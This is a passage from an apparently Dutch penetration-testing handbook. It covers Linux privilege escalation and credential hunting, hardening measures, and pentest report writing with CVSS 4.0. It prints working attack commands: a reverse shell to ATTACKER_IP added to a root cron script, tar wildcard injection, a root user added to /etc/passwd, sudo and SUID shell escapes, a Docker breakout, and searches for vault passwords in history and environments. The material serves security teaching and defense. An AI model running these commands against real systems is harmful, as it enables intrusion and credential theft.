De Ansible inventory (/etc/ansible/hosts of een custom inventory file) bevat de lijst van alle servers die door Ansible worden beheerd. Dat is op zichzelf al waardevolle informatie – het is een complete kaart van de infrastructuur, netjes georganiseerd in groepen.

Maar de echte prijs zit in de playbooks en variabelen:

# group_vars/all.yml (ja, dit soort dingen kom je tegen)
ansible_ssh_user: deploy
ansible_ssh_pass: Welk0m2024!
ansible_become_pass: SuperGeheim123

# Of in de inventory zelf:
[webservers]
web01 ansible_host=10.1.0.10 ansible_ssh_pass=web_password
web02 ansible_host=10.1.0.11 ansible_ssh_pass=web_password

Dat ansible_become_pass is het sudo-wachtwoord. Het ansible_ssh_pass is het SSH-wachtwoord. In plaintext. In een bestand dat leesbaar is voor iedereen met toegang tot de Ansible control node.

Ansible Vault

Verantwoordelijke beheerders gebruiken Ansible Vault om gevoelige gegevens te versleutelen. Maar zelfs dan:

  1. Het vault-wachtwoord staat ergens. Vaak in een bestand. Vaak in een environment variable. Vaak in de bash history.
  2. De vault wordt ontsleuteld bij elke Ansible run. Als je op het juiste moment kijkt, kun je de plaintext data onderscheppen.
  3. Sommige mensen gebruiken vault voor de wachtwoorden, maar vergeten de SSH-keys die naast de playbooks staan.
# Zoek vault-wachtwoordbestanden
find / -name ".vault_pass*" -o -name "vault_password*" 2>/dev/null

# Check de bash history voor vault-wachtwoorden
grep -i "vault" /home/*/.bash_history 2>/dev/null

# Check environment variabelen
grep -i "VAULT" /proc/*/environ 2>/dev/null

De cascade

Het mooie – of het verschrikkelijke, afhankelijk van je perspectief – aan Ansible-credentials is de cascading impact. Ansible beheert tientallen, soms honderden servers. Eén set credentials geeft je potentieel toegang tot het hele landschap.

Een single point of compromise. De Ansible control node is de sleutel tot het koninkrijk, en hij staat vaak op een server die “beveiligd” is met hetzelfde wachtwoord als alle andere servers.

Cron-based Privilege Escalation

Cron is het alarmklokje van Linux. Het wekt processen op regelmatige tijden, draait scripts, maakt backups, roept op tot logrotatie. Het bestaat al sinds de jaren zeventig – letterlijk ouder dan de meeste mensen die het gebruiken – en het heeft in al die tijd precies niets geleerd over beveiliging.

Het probleem is niet cron zelf. Het probleem is wat mensen in cron zetten.

Writable scripts in cron

Stap een: zoek cronjobs die als root draaien:

# Systeem cron jobs
cat /etc/crontab
ls -la /etc/cron.*
ls -la /var/spool/cron/crontabs/

# Zoek writable scripts
find / -path /proc -prune -o -writable -type f 2>/dev/null \
    | grep -E '(\.sh|\.py|\.pl)'

Als je een script vindt dat (a) als root draait via cron, en (b) door jou beschrijfbaar is, dan heb je privilege escalation. Voeg je payload toe aan het script, wacht tot cron het uitvoert, en je hebt root.

# Voorbeeld: voeg een reverse shell toe aan een writable cron script
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

De volgende keer dat cron dat script uitvoert – als root – krijg je een root shell.

Wildcard injection

Dit is een van de elegantste privilege escalation-technieken op Linux, en het werkt door een eigenaardigheid van hoe shells wildcards interpreteren.

Stel je een cronjob voor die een backup maakt:

# In /etc/crontab:
* * * * * root cd /opt/data && tar czf /tmp/backup.tar.gz *

Die * wordt door de shell geëxpandeerd naar alle bestanden in de directory. Maar tar interpreteert bestandsnamen die beginnen met -- als command-line opties. Als je bestanden aanmaakt met namen die eruitzien als tar-opties, voert tar die uit.

# Maak de payload
echo '#!/bin/bash' > shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> shell.sh
chmod +x shell.sh

# Maak de "optie-bestanden"
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"

Wanneer cron de tar-opdracht uitvoert, expandeert * naar:

tar czf /tmp/backup.tar.gz --checkpoint=1 \
    --checkpoint-action=exec=sh shell.sh \
    shell.sh overige_bestanden...

Tar ziet --checkpoint=1 en --checkpoint-action=exec=sh shell.sh als opties, niet als bestandsnamen. Het voert shell.sh uit. Als root. Je shell.sh kopieert bash naar /tmp/rootbash en zet de SUID-bit. Daarna:

/tmp/rootbash -p
# Root shell.

IB Tip: Zoek op privesc_linux_cron in het Commands-paneel voor cron-enumeratie, SUID-escalatie, capabilities, en de wildcard injection techniek.

Cron monitoring

Als je niet kunt zien wat cron draait (omdat je geen root bent), kun je processen monitoren:

# Simpele process monitor (pspy alternatief)
watch -n 1 'ps aux | grep -v watch'

Of gebruik pspy, een tool die speciaal gemaakt is om cronjobs te detecteren zonder root-rechten. Het luistert naar process creation events en rapporteert elk nieuw proces, inclusief kortstondige processen die je met ps zou missen.

Andere Linux Privilege Escalation Technieken

Cron en LD_PRELOAD zijn niet de enige wegen naar root. Linux biedt een verrassend rijk landschap aan escalatie-mogelijkheden, elk het resultaat van een beheerder die op een dinsdag om half vijf een shortcut heeft genomen.

Writable /etc/passwd

Op een modern Linux-systeem staan wachtwoord-hashes in /etc/shadow, dat alleen door root leesbaar is. Maar het passwd-bestand zelf bevat nog steeds een veld voor het wachtwoord (het tweede veld, na de gebruikersnaam). Als dat veld een hash bevat in plaats van een x, gebruikt Linux die hash voor authenticatie.

En als /etc/passwd writable is:

ls -la /etc/passwd
# Als writable:
openssl passwd -1 hacked
# Output: $1$salt$hash
# Voeg een root-gebruiker toe:
echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
# Login als hacker met wachtwoord "hacked" -> root shell

Writable /etc/passwd is zeldzaam op moderne systemen. Maar “zeldzaam” en “onmogelijk” zijn twee heel verschillende woorden, en die vergeten Docker-container met slordig geconfigureerde file permissions bewijst dat elke maand weer.

SUID en SGID Binaries

SUID (Set User ID) is een bestandspermissie die ervoor zorgt dat een programma draait met de rechten van de eigenaar in plaats van de gebruiker die het uitvoert. Als root eigenaar is van een SUID-binary, draait die binary als root, ongeacht wie hem start.

# Zoek SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Zoek SGID binaries
find / -perm -2000 -type f 2>/dev/null

Niet elke SUID-binary is exploiteerbaar. Maar sommige zijn dat wel, en de lijst is langer dan je zou verwachten:

# GTFOBins exploits voor SUID binaries:

# nmap (oude versies met interactive mode)
nmap --interactive
!sh

# find
find . -exec /bin/sh -p \;

# vim
vim -c ':!sh'

# python
python -c 'import os; os.execl("/bin/sh","sh","-p")'

# bash (als bash zelf SUID heeft)
bash -p

GTFOBins (https://gtfobins.github.io/) is de encyclopedie van SUID/sudo-exploits. Als je een binary vindt, check GTFOBins. De kans is groot dat iemand al heeft uitgevogeld hoe je er een shell mee opent.

Capabilities

Linux capabilities zijn een fijnmaziger alternatief voor SUID. In plaats van een binary volledige root-rechten te geven, kun je specifieke capabilities toekennen. cap_net_bind_service laat een programma luisteren op privileged poorten. cap_dac_read_search laat het alle bestanden lezen. cap_setuid laat het van user ID wisselen.

# Zoek binaries met capabilities
getcap -r / 2>/dev/null

Interessante capabilities voor escalatie:

# cap_setuid+ep op Python:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search+ep:
# Kan alle bestanden lezen, inclusief /etc/shadow

# cap_net_bind_service+ep:
# Bind op privileged poorten (niet direct escalatie,
# maar nuttig voor phishing/redirection)

Sudo misconfiguraties

sudo -l is het eerste commando dat je draait op elk gecompromitteerd Linux-systeem. Het toont welke commando’s je met sudo mag uitvoeren, en het antwoord is vaak verbijsterend:

sudo -l

# Typische misconfiguraties:
# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!sh'

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# Typ: !sh

# (ALL) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \;

# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (ALL) NOPASSWD: /usr/bin/env
sudo env /bin/bash

# (ALL) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

Elk van deze commando’s start een shell als root. En ze staan allemaal in de sudoers file met NOPASSWD – wat betekent dat de beheerder expliciet heeft geconfigureerd dat deze commando’s zonder wachtwoord als root mogen draaien.

De redenering is meestal: “De gebruiker heeft vim nodig om configuratiebestanden te bewerken.” Correct. Maar vim kan ook een shell starten. En dat is een feit dat de beheerder niet kende, of negeerde, of allebei.

Docker Breakout

Docker-containers draaien standaard als root. Als de Docker-socket (/var/run/docker.sock) toegankelijk is voor je gebruiker, kun je uitbreken naar de host:

# Check of je lid bent van de docker-groep
id | grep docker

# Mount het host-filesysteem in een container
docker run -v /:/host -it alpine chroot /host

# Je bent nu root op de host

Dit is zo simpel en zo verwoestend dat het bijna niet te geloven is. Lidmaatschap van de docker-groep is in de praktijk equivalent aan root-toegang. En toch voegen beheerders gebruikers toe aan de docker-groep “zodat ze containers kunnen draaien” zonder na te denken over de implicaties.

NFS no_root_squash

Network File System (NFS) heeft een optie genaamd no_root_squash die ervoor zorgt dat bestanden aangemaakt door root op de client ook eigendom zijn van root op de server. Normaal gesproken “squasht” NFS de root-gebruiker naar nobody om te voorkomen dat een client root-bestanden kan aanmaken.

Maar met no_root_squash:

# Op de aanvalsmachine (als root):
mount -o rw VICTIM_IP:/share /mnt

# Maak een SUID bash
cp /bin/bash /mnt/rootbash
chmod +s /mnt/rootbash

# Op het target:
/share/rootbash -p
# Root shell
# Check NFS exports
showmount -e VICTIM_IP
cat /etc/exports
# Zoek naar: no_root_squash

Verdediging

“Linux is veiliger dan Windows.”

Dat is zo’n uitspraak die je hoort op conferenties, in boardrooms, en op Reddit-threads waar mensen elkaar de maat nemen over hun keuze van besturingssysteem. En het is precies het soort uitspraak dat leidt tot de situatie die we zojuist hebben beschreven.

Want het probleem is niet dat Linux inherent onveilig is. Linux heeft uitstekende beveiligingsmechanismen. Het heeft file permissions, SELinux, AppArmor, seccomp, capabilities, namespaces, cgroups – een heel arsenaal aan tools om systemen te vergrendelen. Het probleem is dat niemand ze gebruikt.

Of preciezer: mensen gebruiken ze tot het moment dat iets niet werkt, en dan schakelen ze alles uit “om het probleem op te lossen”. SELinux in enforcing mode? “Daar krijgen we errors van.” chmod 777? “Dan werkt het in ieder geval.” LD_PRELOAD in env_keep? “Anders start de applicatie niet.”

Elke beveiligingsmaatregel die in de weg staat van productiviteit wordt binnen een week omzeild, uitgeschakeld, of genegeerd. Dat is geen Linux-probleem. Dat is een mensenprobleem. Maar het manifesteert zich op Linux met een speciale ironie, omdat de mensen die het hardst roepen dat Linux veiliger is, vaak dezelfde mensen zijn die chmod 777 typen alsof het een oplossing is.

Goed. Genoeg cynisme. Hier is wat je daadwerkelijk kunt doen.

SSH Hardening

# /etc/ssh/sshd_config

# Schakel agent forwarding uit
AllowAgentForwarding no

# Schakel TCP forwarding uit
AllowTcpForwarding no

# Beperk toegang tot specifieke gebruikers
AllowUsers admin deploy

# Schakel root login uit
PermitRootLogin no

# Gebruik alleen key-based authenticatie
PasswordAuthentication no
PubkeyAuthentication yes

# Beperk max sessies
MaxSessions 2

# Log alles
LogLevel VERBOSE

Agent forwarding uitzetten is de meest impactvolle maatregel. Het elimineert agent hijacking volledig. Ja, het betekent dat beheerders hun keys op elke server moeten zetten, of een jump host moeten gebruiken met ProxyJump in plaats van agent forwarding. Dat is een kleine ongemak vergeleken met het risico.

Auditd

Linux heeft een ingebouwd audit framework dat alles kan loggen: bestandstoegang, processtarts, systeemaanroepen, netwerk-activiteit.

# Monitor SUID/SGID changes
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat \
    -F auid>=1000 -k perm_mod

# Monitor sudo gebruik
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d/ -p wa -k sudoers_change

# Monitor cron wijzigingen
-w /etc/crontab -p wa -k cron_mod
-w /etc/cron.d/ -p wa -k cron_mod

# Monitor SSH configuratie
-w /etc/ssh/sshd_config -p wa -k ssh_config

# Monitor passwd/shadow
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change

# Monitor LD_PRELOAD gebruik
-a always,exit -F arch=b64 -S execve \
    -F key=ld_preload_usage

Het instellen van auditd kost een uur. Het doorlezen van de logs kost een eternity. Maar het verschil tussen een organisatie die auditd draait en eentje die dat niet doet, is het verschil tussen “we weten dat we gehackt zijn” en “we hebben geen idee wat er is gebeurd.”

File Integrity Monitoring

Tools als AIDE (Advanced Intrusion Detection Environment) of OSSEC controleren of systeembestanden zijn gewijzigd:

# AIDE initialiseren
aide --init

# Regelmatig controleren (via cron, uiteraard)
aide --check

Als iemand /etc/passwd wijzigt, een SUID-bit zet op een binary, of een cronjob toevoegt, genereert AIDE een alert. Het is niet sexy. Het genereert veel false positives. Maar het werkt.

Sudo hardening

# /etc/sudoers (via visudo!)

# Verwijder LD_PRELOAD uit env_keep
Defaults !env_keep += "LD_PRELOAD"

# Beperk sudo-commando's tot specifieke paden
# FOUT:
# operator ALL=(ALL) NOPASSWD: /usr/bin/vim
# BETER:
# operator ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart httpd

# Gebruik NOPASSWD alleen voor specifieke, niet-escapable commando's
# Vermijd: vim, less, more, find, python, perl, ruby, env, awk, sed

# Log alle sudo-activiteit
Defaults logfile="/var/log/sudo.log"
Defaults log_input, log_output

De gouden regel: geef gebruikers nooit sudo-toegang tot interactieve programma’s (editors, pagers, scripting-talen) met NOPASSWD. Als een programma een shell kan openen, is sudo-toegang tot dat programma gelijk aan root-toegang.

Docker hardening

# Verwijder onnodige gebruikers uit de docker-groep
gpasswd -d username docker

# Gebruik rootless Docker
# https://docs.docker.com/engine/security/rootless/

# Beperk container capabilities
docker run --cap-drop ALL --cap-add NET_BIND_SERVICE myapp

# Gebruik read-only file systems
docker run --read-only myapp

# Blokkeer toegang tot de Docker socket
chmod 660 /var/run/docker.sock

NFS hardening

# /etc/exports
# FOUT:
# /data *(rw,no_root_squash)
# GOED:
# /data 10.1.0.0/24(rw,root_squash,no_subtree_check)

Gebruik altijd root_squash (de standaard). Beperk NFS-exports tot specifieke IP-ranges. En vraag je af of je NFS uberhaupt nodig hebt – in veel gevallen is een modernere oplossing als SSHFS of een object store een beter alternatief.

De cynicus sluit af

Er is een prachtige ironie in de wereld van Linux-beveiliging. De community die het hardst schreeuwt over de onveiligheid van Windows, is dezelfde community die Docker-containers draait als root, SSH agent forwarding standaard aan laat staan, en chmod 777 beschouwt als een valide troubleshooting-stap.

“Maar Linux heeft geen virussen!”

Nee. Linux heeft geen virussen in de traditionele zin, omdat niemand de moeite neemt om virussen te schrijven voor een platform dat drie procent van de desktopmarkt heeft. Maar Linux heeft wel misconfiguraties. Heeft wel writable cronjobs. Heeft wel SUID-binaries op plekken waar ze niet horen. Heeft wel beheerders die LD_PRELOAD in de sudoers zetten en dat vervolgens vergeten.

Het verschil tussen een gehackt Windows-systeem en een gehackt Linux-systeem is niet dat het ene moeilijker te hacken is. Het verschil is dat de Windows-beheerder het meestal binnen een dag merkt (omdat er een alert afgaat, of omdat iemand klaagt dat zijn desktop raar doet), terwijl de Linux-beheerder het drie maanden later ontdekt wanneer hij toevallig eens inlogt op die server die “gewoon draait” en merkt dat er een onbekende gebruiker is aangemaakt.

Of helemaal niet ontdekt.

Want het ergste aan Linux-post-exploitatie is niet hoe makkelijk het is. Het ergste is hoe onzichtbaar het is. Een root-compromittatie op een Linux-server die niet wordt gemonitord – en de meeste worden niet gemonitord – kan maanden of jaren onopgemerkt blijven. Geen SIEM. Geen EDR. Geen auditd. Gewoon een server die draait, en een aanvaller die meekijkt.

“Linux is veiliger.”

Nee. Linux kan veiliger zijn. Als je het configureert. Als je het monitort. Als je het bijhoudt. Als je niet alles op 777 zet zodra het even niet werkt.

Maar dat geldt voor elk besturingssysteem. Beveiliging is geen eigenschap van software. Het is een eigenschap van de mensen die de software beheren. En de mensen? Die zijn op elk platform even incompetent.

Referentietabel

Techniek Doel Vereisten IB Command MITRE ATT&CK
SSH Agent Hijacking Lateral movement Root of zelfde user linux_ssh_agent T1563.001
SSH Session Hijack Lateral movement Root of zelfde user linux_ssh_hijack T1563
LD_PRELOAD Injection Privilege escalation sudo + env_keep linux_ldpreload T1574.006
Ansible Enumeration Credential access Leestoegang config linux_ansible_enum T1552.001
Cron Writable Script Privilege escalation Writable cron script privesc_linux_cron T1053.003
Cron Wildcard Injection Privilege escalation Write in cron dir privesc_linux_cron T1053.003
SUID Binary Abuse Privilege escalation SUID op exploitable binary privesc_linux_cron T1548.001
Capabilities Abuse Privilege escalation cap_setuid of similar privesc_linux_cron T1548
Writable /etc/passwd Privilege escalation Write op /etc/passwd privesc_linux_cron T1078.003
Sudo Misconfig Privilege escalation Sudo op interactief prog privesc_linux_cron T1548.003
Docker Breakout Privilege escalation Docker-groep lid T1611
NFS no_root_squash Privilege escalation NFS mount + root lokaal T1548

Samenvatting

Linux post-exploitatie is een spel van geduld en observatie. Waar Windows-omgevingen je overladen met Active Directory-objecten en Kerberos-tickets, biedt Linux een stiller maar niet minder rijk landschap van escalatie-mogelijkheden.

De rode draad door al deze technieken is hetzelfde: convenience vs. security. SSH agent forwarding is handig. LD_PRELOAD in env_keep is handig. NOPASSWD sudo op vim is handig. En elke keer dat iemand kiest voor handig boven veilig, opent er een deur.

De verdediging is niet ingewikkeld. Schakel agent forwarding uit. Audit je sudoers file. Monitor je cronjobs. Draai auditd. Het zijn geen revolutionaire maatregelen. Het zijn de basics. Maar de basics zijn precies wat de meeste organisaties overslaan, omdat ze te druk zijn met het evalueren van de nieuwste AI-powered security-oplossing die 250.000 euro per jaar kost en precies hetzelfde doet als een goed geconfigureerd auditd – alleen met een mooier dashboard.

In het volgende hoofdstuk kijken we naar wat er gebeurt als je al deze technieken combineert: de volledige aanvalsketen, van initial access tot domain admin. Van de eerste phishing-mail tot de Golden Ticket. Het grote plaatje.

Rapportage en Afronding

Rapportage en Afronding

Er is een verrassende verwantschap tussen het schrijven van een pentest-rapport en het werk van een forensisch patholoog. Niet vanwege de dood en verderf – hoewel sommige netwerken die we in dit boek hebben behandeld daar angstaanjagend dichtbij kwamen – maar vanwege de aard van het verslag zelf. Een forensisch patholoog schrijft niet simpelweg op dat iemand dood is. Dat weet iedereen al. Het gaat om het waarom, het hoe, en het wat nu. Waaraan is het slachtoffer overleden? Welke omstandigheden leidden tot die uitkomst? En wat had er gedaan kunnen worden om het te voorkomen?

Een pentest-rapport volgt precies dezelfde logica. Niemand betaalt je om te horen dat hun netwerk kwetsbaar is – diep van binnen weten ze dat al. Ze betalen je om precies uit te leggen waar het misgaat, hoe een aanvaller dat uitbuit, en wat ze eraan moeten doen. En dat alles in een document dat zowel de CISO als de stagiair op de IT-afdeling kan begrijpen.

Dit is het punt waarop veel pentesters struikelen. Ze zijn briljant in het vinden van kwetsbaarheden, virtuoos in het escaleren van privileges, kunstenaars in lateral movement – en dan produceren ze een rapport dat leest alsof het door een vastgelopen printer is uitgebraakt. Onleesbare muren van terminal output, screenshots zonder context, en aanbevelingen die neerkomen op “fix dit” zonder verdere uitleg.

Laten we het beter doen.

15.1 Proof of Concept Collection

Voordat je ook maar een letter van je rapport typt, moet je bewijs hebben. Zonder bewijs is een pentest-rapport niets meer dan een mening, en opinies zijn in de beveiligingswereld net zoveel waard als een onversleuteld wachtwoord in een Post-it notitie op een monitor.

15.1.1 Screenshots: Timing, Context en Annotatie

Een screenshot is pas bruikbaar als hij drie dingen heeft: het juiste moment, de juiste context, en de juiste annotatie.

Timing is cruciaal. Maak je screenshot op het moment van impact. Niet vijf minuten later wanneer je al drie commando’s verder bent. Het verschil tussen een overtuigend bewijs en een nutteloze afbeelding is vaak een kwestie van seconden. Neem de screenshot terwijl de SQL injection resultaten teruggeeft, terwijl BloodHound het pad naar Domain Admin toont, terwijl Mimikatz de hashes dumpt.

Context betekent dat de screenshot op zichzelf moet kunnen staan. Een plaatje van een terminalsessie met de output NT AUTHORITY\SYSTEM is indrukwekkend voor je collega-pentesters, maar voor een manager is het drie woorden in een zwart venster. Zorg dat je terminal prompt zichtbaar is – met hostname en username – zodat duidelijk is waar je bent en als wie je opereert.

Annotatie maakt het verschil tussen een plaatje en bewijsmateriaal. Gebruik rode kaders, pijlen, en korte labels om de aandacht te vestigen op het relevante deel. Een screenshot van een webpagina met 200 regels HTML is nutteloos. Dezelfde screenshot met een rood kader om de Set-Cookie: session=admin; HttpOnly=false header vertelt een heel verhaal.

IB Tip: IB slaat screenshots op in raw/screenshots/ en maakt ze beschikbaar via de project images dropdown in de LaTeX toolbar. Gebruik \plaatje{bestandsnaam}{onderschrift} in je finding-tekst om ze automatisch in het rapport op te nemen.

15.1.2 Terminal Recordings met asciinema

Screenshots zijn statisch. Soms heb je bewegend bewijs nodig. Niet als flashy presentatie, maar als onweerlegbaar bewijs dat je een bepaalde aanvalsketen daadwerkelijk hebt uitgevoerd, stap voor stap, in real-time.

Asciinema is hiervoor het perfecte gereedschap. Het neemt je terminalsessie op als een lichtgewicht tekstbestand – geen zware video, maar een JSON-gebaseerd formaat dat elke toetsaanslag en elk stukje output vastlegt met milliseconde-precisie.

Start een recording voordat je een complexe aanvalsketen begint:

asciinema rec --title "DCSync Attack via Compromised Workstation" ~/recordings/dcsync.cast

De recording loopt mee terwijl je werkt. Geen extra handelingen, geen vensters die in de weg zitten. Als je klaar bent, druk je exit of Ctrl+D en het bestand staat klaar.

Wat maakt asciinema superieur aan een schermopname?

15.1.3 IB Recordings Feature

IB heeft een ingebouwde recordings-pagina op /dashboard/recordings die je asciinema-opnames integreert in het dashboard. De interface laadt bestanden uit meuk/logs/ en biedt een volledige player met zoekfunctionaliteit.

De recordings-pagina toont een overzicht van alle .cast bestanden met bestandsnaam, grootte en tijdstempel. Klik op een recording en de ingebouwde asciinema player start met afspelen – compleet met Monokai thema, monospace font, en een fullscreen modus voor presentaties.

meuk/logs/
  lateral-movement-2024-03-15.cast
  dcsync-dc01-2024-03-16.cast
  kerberoast-svc-accounts-2024-03-16.cast
  bloodhound-collection-2024-03-17.cast

De player wordt geinitialiseerd met 120 kolommen en 30 rijen – ruim genoeg voor de meeste terminalsessies. De fullscreen-modus schaalt automatisch en past de fit mode aan van width naar both, zodat de opname het hele scherm vult.

IB Tip: Organiseer je recordings met een duidelijke naamconventie: activiteit-doelwit-datum.cast. De zoekbalk in IB filtert op bestandsnaam, dus dcsync typen toont direct alle DCSync-gerelateerde opnames.

15.1.4 Network Captures

Voor netwerk-specifieke bevindingen is een packet capture vaak het meest overtuigende bewijs. Een Wireshark capture die laat zien dat LDAP-verkeer onversleuteld over het netwerk gaat, of dat NTLM-hashes in cleartext worden verstuurd, is onweerlegbaar.

Bewaar captures in pcap of pcapng formaat. Filter ze voordat je ze aan het rapport toevoegt – niemand wil door 2 GB aan netwerkverkeer bladeren om drie relevante pakketten te vinden.

# Capture alleen LDAP-verkeer van/naar de domain controller
tcpdump -i eth0 -w ldap_cleartext.pcap host 10.10.10.1 and port 389

# Capture NTLM authenticatie
tcpdump -i eth0 -w ntlm_relay.pcap 'tcp port 445 or tcp port 139'

Voeg de relevante pakketten toe als screenshot aan je finding – een Wireshark scherm met de juiste display filter en de relevante velden uitgelicht.

15.1.5 Logs en Command Output

Elke commando dat je uitvoert en elke output die je terugkrijgt, is potentieel bewijsmateriaal. De vuistregel is simpel: als je twijfelt of je iets moet bewaren, bewaar het.

Gebruik tee om command output tegelijkertijd op het scherm te tonen en naar een bestand te schrijven:

crackmapexec smb 10.10.10.0/24 --shares -u user -p 'P@ssw0rd' | tee smb_shares_output.txt

Gebruik script als je een hele sessie wilt vastleggen inclusief interactieve commando’s:

script -t 2>timing.log session_dc01.txt

En vergeet de tijdstempels niet. Voeg aan het begin van elk logbestand een datum/tijd toe. Dit is niet alleen goed voor je rapport, maar essentieel als er later juridische vragen komen over de timeline van je test.

IB Tip: IB’s Output view (/dashboard/outputs) verzamelt automatisch output van commando’s die via de tasks runner worden uitgevoerd. Gebruik de tasks runner waar mogelijk, zodat command output automatisch wordt bewaard en doorzoekbaar is via het dashboard.

15.2 IB Findings Workflow

Nu je al je bewijsmateriaal hebt verzameld – screenshots geannoteert, recordings opgenomen, captures gefilterd, logs bewaard – is het tijd om bevindingen aan te maken. Dit is waar IB’s findings management zijn waarde bewijst.

15.2.1 Finding Aanmaken voor Netwerk-bevindingen

Navigeer naar /dashboard/findings en je ziet het findings-overzicht. Bovenaan staan vier kaarten: het totaal aantal findings, het aantal templates, het aantal scoped items, en een knop om het rapport te genereren.

Het overzicht is verdeeld in twee kolommen. Links staan de beschikbare templates – voorgedefinieerde finding-types die je kunt gebruiken als basis. Rechts staan je bestaande findings met ID, naam, host, en acties om te bewerken of te verwijderen.

Om een nieuwe finding aan te maken, klik je op Add naast het relevante template. IB opent de Finding Editor met het volgende formulier:

Het formulier slaat de finding op via POST /dashboard/findings/save. Als het id veld gevuld is, wordt een bestaande finding bijgewerkt; anders wordt een nieuwe aangemaakt. Simpel, effectief, zonder poespas.

IB Tip: Het veld “Werk de bevinding uit” ondersteunt LaTeX-opmaak via de ingebouwde LaTeX toolbar. Gebruik \begin{lstlisting} voor code blocks, \plaatje{file}{caption} voor afbeeldingen, en \textbf{} voor vetgedrukte tekst. De toolbar biedt ook een dropdown voor project-afbeeldingen uit raw/screenshots/.

15.2.2 Standaard Templates voor Netwerk-bevindingen

IB wordt geleverd met een set standaard finding templates die je via /dashboard/findings/templates/seed kunt laden. Deze templates bevatten voorgedefinieerde beschrijvingen, impact-analyses, aanbevelingen, en referenties voor veelvoorkomende kwetsbaarheden.

De standaard templates in standard_findings.json zijn primair gericht op web-kwetsbaarheden, maar veel ervan zijn direct relevant voor netwerk-pentests:

Template Netwerktoepassing
OS Command Injection RCE via webapplicaties op interne servers
SQL Injection (SQLi) Database-toegang via interne webapps
CORS misconfiguratie Cross-origin aanvallen op interne API’s
Server-Side Request Forgery Toegang tot cloud metadata, interne diensten
Broken Access Control Privilege escalation op interne systemen
Cryptographic Failures Onversleuteld verkeer, zwakke certificaten
Security Headers Ontbrekende beveiliging op interne webservers
Vulnerable and Outdated Components Ongepatchte software op netwerksystemen
Path Traversal Bestandstoegang via kwetsbare webdiensten
Insecure Design Architectuurproblemen in het netwerk

Elk template bevat velden voor: - Titel en type (categorie) - CWE nummer (Common Weakness Enumeration) - OWASP Top 10 classificatie - MITRE ATT&CK technique ID - CVSS 4.0 vector en base score - Beschrijving in het Nederlands - Impact analyse - Aanbeveling met gestructureerde stappen - Referenties naar externe bronnen

Voor netwerk-specifieke bevindingen die niet in de standaard templates staan – denk aan Kerberoasting, DCSync, NTLM relay, onbeveiligde SMB shares – maak je een finding aan zonder template (of je maakt je eigen templates aan via Flask-Admin). Het ref veld koppelt een finding aan een template; laat het leeg voor custom findings.

IB Tip: Gebruik de seed-functie aan het begin van elk project om de standaard templates te laden. Dit overschrijft alle bestaande templates, dus doe dit voordat je findings aanmaakt. De seed-knop op de findings-pagina vraagt om bevestiging voordat hij alle templates overschrijft.

15.2.3 CVSS 4.0 Scoring voor Netwerk-kwetsbaarheden

CVSS 4.0 is de nieuwste versie van het Common Vulnerability Scoring System en IB heeft een volledige interactieve calculator ingebouwd. In tegenstelling tot CVSS 3.1 maakt versie 4.0 onderscheid tussen impact op het kwetsbare systeem en impact op downstream systemen – een cruciaal verschil voor netwerk-pentests waar een gecompromitteerde werkstation kan leiden tot volledige domein-compromittatie.

De calculator in IB presenteert elf base metrics verdeeld over drie secties:

Exploitability Metrics: - Attack Vector (AV): Network, Adjacent, Local, Physical - Attack Complexity (AC): Low, High - Attack Requirements (AT): None, Present - Privileges Required (PR): None, Low, High - User Interaction (UI): None, Passive, Active

Vulnerable System Impact: - Confidentiality (VC): None, Low, High - Integrity (VI): None, Low, High - Availability (VA): None, Low, High

Subsequent System Impact: - Confidentiality (SC): None, Low, High - Integrity (SI): None, Low, High - Availability (SA): None, Low, High

Wanneer je alle metrics selecteert, genereert de calculator een CVSS 4.0 vector string in het formaat CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H en berekent de bijbehorende score via de server-side API (/api/cvss4/calculate). De score wordt vertaald naar een severity label:

Score Severity
0.0 None
0.1 - 3.9 Low
4.0 - 6.9 Medium
7.0 - 8.9 High
9.0 - 10.0 Critical

15.2.4 Verschil in Scoring: Remote vs Local, Authenticated vs Unauthenticated

Hier wordt het interessant voor netwerk-pentests. De CVSS-score van exact dezelfde kwetsbaarheid kan dramatisch verschillen afhankelijk van de context.

Voorbeeld 1: Unauthenticated Remote Code Execution Een kwetsbaarheid die zonder authenticatie via het netwerk kan worden misbruikt:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack Vector = Network, Privileges Required = None. Dit is het nachtmerriescenario – iedereen op het netwerk kan dit misbruiken. Score: maximaal.

Voorbeeld 2: Authenticated Local Privilege Escalation Dezelfde impact, maar je moet al op het systeem zitten met geldige credentials:

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack Vector = Local, Privileges Required = Low. De score daalt aanzienlijk, ook al is de uiteindelijke impact identiek.

Voorbeeld 3: Adjacent Network Attack met Prerequisites Een aanval die alleen werkt vanuit hetzelfde netwerksegment en specifieke condities vereist:

CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:L/SI:N/SA:N

Attack Vector = Adjacent, Attack Complexity = High, Attack Requirements = Present. De score zakt verder.

Het verschil tussen deze drie scenario’s is het verschil tussen “dit moet vandaag nog gefixt worden” en “dit nemen we mee in de volgende patch cycle.” Scoor eerlijk. Een overschatte score ondermijnt je geloofwaardigheid net zo effectief als een onderschatte score het risico bagatelliseert.

